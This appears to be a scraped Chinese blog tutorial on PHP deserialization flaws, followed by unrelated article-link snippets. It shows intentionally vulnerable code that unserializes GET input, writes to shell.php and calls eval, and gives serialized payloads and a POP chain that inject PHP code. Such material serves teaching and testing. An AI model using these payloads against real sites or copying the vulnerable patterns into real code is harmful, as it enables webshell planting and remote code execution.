0x01 serialize()和unserialize()

先介绍下几个函数

serialize()是用于将类转换为一个字符串

unserialize()用于将字符串转换回一个类

serialize()

<?php
class test{
var $a = 'yicunyiye';
} $p = new test();
$ser = serialize($p); echo $ser;
?>

输出为

O:4:"test":1:{s:1:"a";s:9:"yicunyiye";}

这里O是说明为对象为4个字符,1是表示只有一个值{}里面的s表示为字符串为1就是变量a的长度,然后就是9表示值的长度

unserialize()

<?php
class test{
var $a = 'yicunyiye';
} $p = new test();
// $ser = serialize($p); $a = 'O:4:"test":1:{s:1:"a";s:9:"yicunyiye";}';
$unser = unserialize($a);
print_r($unser); ?>

输出为

test Object ( [a] => yicunyiye )

这里的test为对象[a] => yicunyiye 为 $a = "yicunyiye"

0x02 漏洞产生

当我们传入给unserialize()参数可控的时候就可以利用

Magic function

php中有一类特殊的方法叫做“Magic function”

构造函数__construct():当对象创建(new)时会自动调用。但在unserialize()时是不会自动调用的

析构函数__destruct():当对象被销毁时会自动调用。

__wakeup():如前所提,unserialize()时会自动调用

<?php
header("Content-type: text/html;charset=utf-8");
class test{
var $test='123';
function __wakeup(){
echo "__wakeup"."<br>";
}
function __construct(){
echo "__construct"."<br>";
}
function __destruct(){
echo "__destruct"."<br>";
}
}
echo "serialize:====="."<br>";
$data=new test;
$data=serialize($data); echo "unserialize:====="."<br>";
$jm=unserialize($data);
print_r($jm);
?>

输出结果为

serialize:=====
__construct
__destruct
unserialize:=====
__wakeup
test Object ( [test] => 123 ) __destruct

wakeup() 或destruct()由前可以看到,unserialize()后会导致wakeup() 或destruct()的直接调用,中间无需其他过程。因此最理想的情况就是一些漏洞/危害代码在wakeup() 或destruct()中,从而当我们控制序列化字符串时可以去直接触发它们

因此我们写一个

<?php
class aaaa{
var $test = '123';
function __wakeup(){
$fp = fopen("shell.php","w") ;
fwrite($fp,$this->test);
fclose($fp);
}
}
$class3 = $_GET['test'];
print_r($class3);
echo "</br>";
$class3_unser = unserialize($class3);
require "shell.php";
// 为显示效果,把这个shell.php包含进来
?>

url为:http://127.0.0.1/m/index.php?test=O:4:"aaaa":1:{s:4:"test";s:19:"<?php phpinfo(); >";}

这里可以看到只要传入给test就行了

其他Magic function的利用,如果用construct()其实是一样的只需要一步步溯源回去即可

<?php
class con{
function __construct($test){
$fp = fopen("shell.php","w") ;
fwrite($fp,$test);
fclose($fp);
}
}
class wake{
var $test = '123';
function __wakeup(){
$obj = new con($this->test);
}
}
$class5 = $_GET['test'];
print_r($class5);
echo "</br>";
$class5_unser = unserialize($class5);
require "shell.php";
?>

payload:O:4:"wake":1:{s:4:"test";s:18:"";}

利用普通成员方法

前面谈到的利用都是基于“自动调用”的magic function。但当漏洞/危险代码存在类的普通方法中,就不能指望通过“自动调用”来达到目的了。这时的利用方法如下,寻找相同的函数名,把敏感函数和类联系在一起。

比如这里

<?php
class chybeta {
var $test;
function __construct() {
$this->test= new ph0en1x(); //实例化ph0en1x
}
function __destruct() {
$this->test->action(); //调用ph0en1x类里的action()函数
}
}
class ph0en1x {
function action() {
echo "ph0en1x";
}
}
class ph0en2x {
var $test2;
function action() {
eval($this->test2);
}
}
$class6 = new chybeta();
unserialize($_GET['test']);
?>

我们的payload修改为

<?php
class chybeta{
var $test;
function __construct(){
$this->test = new ph0en2x();
}
} class ph0en2x{
var $test2 = "phpinfo();";
} $class6 = new chybeta();
$payload = serialize($class6);
echo $payload;
?>

执行payload为:

O:7:"chybeta":1:{s:4:"test";O:7:"ph0en2x":1:{s:5:"test2";s:10:"phpinfo();";}}

php反序列化浅谈的更多相关文章

  1. 通过JBoss反序列化(CVE-2017-12149)浅谈Java反序列化漏洞

    前段时间学校学习J2EE,用到了jboss,顺便看了下jboss的反序列化,再浅谈下反序列化漏洞. Java序列化,简而言之就是把java对象转化为字节序列的过程.而反序列话则是再把字节序列恢复为ja ...

  2. 在net中json序列化与反序列化 面向对象六大原则 (第一篇) 一步一步带你了解linq to Object 10分钟浅谈泛型协变与逆变

    在net中json序列化与反序列化   准备好饮料,我们一起来玩玩JSON,什么是Json:一种数据表示形式,JSON:JavaScript Object Notation对象表示法 Json语法规则 ...

  3. 浅谈WebService的版本兼容性设计

    在现在大型的项目或者软件开发中,一般都会有很多种终端, PC端比如Winform.WebForm,移动端,比如各种Native客户端(iOS, Android, WP),Html5等,我们要满足以上所 ...

  4. .net中对象序列化技术浅谈

    .net中对象序列化技术浅谈 2009-03-11 阅读2756评论2 序列化是将对象状态转换为可保持或传输的格式的过程.与序列化相对的是反序列化,它将流转换为对象.这两个过程结合起来,可以轻松地存储 ...

  5. 浅谈 Java 主流开源类库解析 XML

    在大型项目编码推进中,涉及到 XML 解析问题时,大多数程序员都不太会选用底层的解析方式直接编码. 主要存在编码复杂性.难扩展.难复用....,但如果你是 super 程序员或是一个人的项目,也不妨一 ...

  6. pb传输优化浅谈

    在正式切入今天要谈的优化之前,先碎碎念一些自己过去这几年的经历.很久没有登录过博客园了,今天也是偶然兴起打开上来看一下,翻看了下自己的随笔,最后一篇原创文章发布时间是2015年的4月,今天是2017年 ...

  7. 【转】浅谈.net remoting 与webservice

    1. .NET Remoting .NET Remoting是微软随.NET推出的一种分布式应用解决方案,被誉为管理应用程序域之间的 RPC 的首选技,它允许不同应用程序域之间进行通信(这里的通信可以 ...

  8. ehcache的heap、off-heap、desk浅谈

    ehcache的heap.off-heap.desk浅谈   答: 从读取速度上比较:heap > off-heap > disk heap堆内内存: heap表示使用堆内内存,heap( ...

  9. TensorFlow 2.0 深度学习实战 —— 浅谈卷积神经网络 CNN

    前言 上一章为大家介绍过深度学习的基础和多层感知机 MLP 的应用,本章开始将深入讲解卷积神经网络的实用场景.卷积神经网络 CNN(Convolutional Neural Networks,Conv ...

随机推荐

  1. MySQL · 性能优化 · MySQL常见SQL错误用法(转自-阿里云云栖社区)

    作者:阿里云云栖社区链接:https://zhuanlan.zhihu.com/p/26043916来源:知乎著作权归作者所有,转载请联系作者获得授权. 前言 MySQL在2016年仍然保持强劲的数据 ...

  2. C++ Templates (1.2 模板实参推断 Template Argument Deduction)

    返回完整目录 目录 1.2 模板实参推断 Template Argument Deduction 1.2 模板实参推断 Template Argument Deduction 当调用函数模板(如max ...

  3. Linux环境下安装Redis数据库

    1.下载Redis安装包 访问https://redis.io/download,目前最新版本是5.0.5,点击下载 2.安装Redis 2.1通过远程工具把压缩包导入Linux工作盘,我的在home ...

  4. 瑞发科NS1081主控 + THGBM5G7A2JBAIR(eMMC) 制作16GB闪存驱动器

    文档标识符:NS1081_FLASH-DRIVE_D-P9 作者:DLHC 最后修改日期:2020.8.22 本文链接:https://www.cnblogs.com/DLHC-TECH/p/NS10 ...

  5. 数字货币比特币以太坊买卖五档行情数据API接口

    数字货币比特币以太坊买卖五档行情数据API接口       数字货币一般包含比特币BTC.以太坊ETH.瑞波币XRP.泰达币USDT.比特币现金BCH.比特币SV.莱特币LTC.柚子币EOS.OKB. ...

  6. pandas 数据表中的字符与日期数据的处理

    前面我们有学习过有关字符串的处理和正在表达式,但那都是基于单个字符串或字符串列表的操作.下面将学习如何基于数据框操作字符型变量. 同时介绍一下如何从日期型变量中取出年份,月份,星期几等,如何计算两个日 ...

  7. 查看/设置 mysql时区

    # 查看时区 show variables like '%time_zone%'; # 设置全局 set global time_zone='+8:00';  # 设置当前会话 set time_zo ...

  8. 华为云服务器基于hadoop2.7.5安装hive-2.3.7

    1. Hive简介 The Apache Hive data warehouse software facilitates reading, writing, and managing large d ...

  9. js中使用const声明变量时需要注意

    const实际上保证的,并不是变量的值不得改动,而是变量指向的那个内存地址(初始化的内容)不得改动.对于简单类型的数据(数值.字符串.布尔值),值就保存在变量指向的那个内存地址,因此等同于常量. 简单 ...

  10. 《spring源码解读》 - IoC 之解析 import 标签

    在上一文中我们分析了注册 BeanDefinition 的过程,在其中我们了解到在解析跟节点和子节点时分两种情况,对于默认名称空间的标签我们通过 DefaultBeanDefinitionDocume ...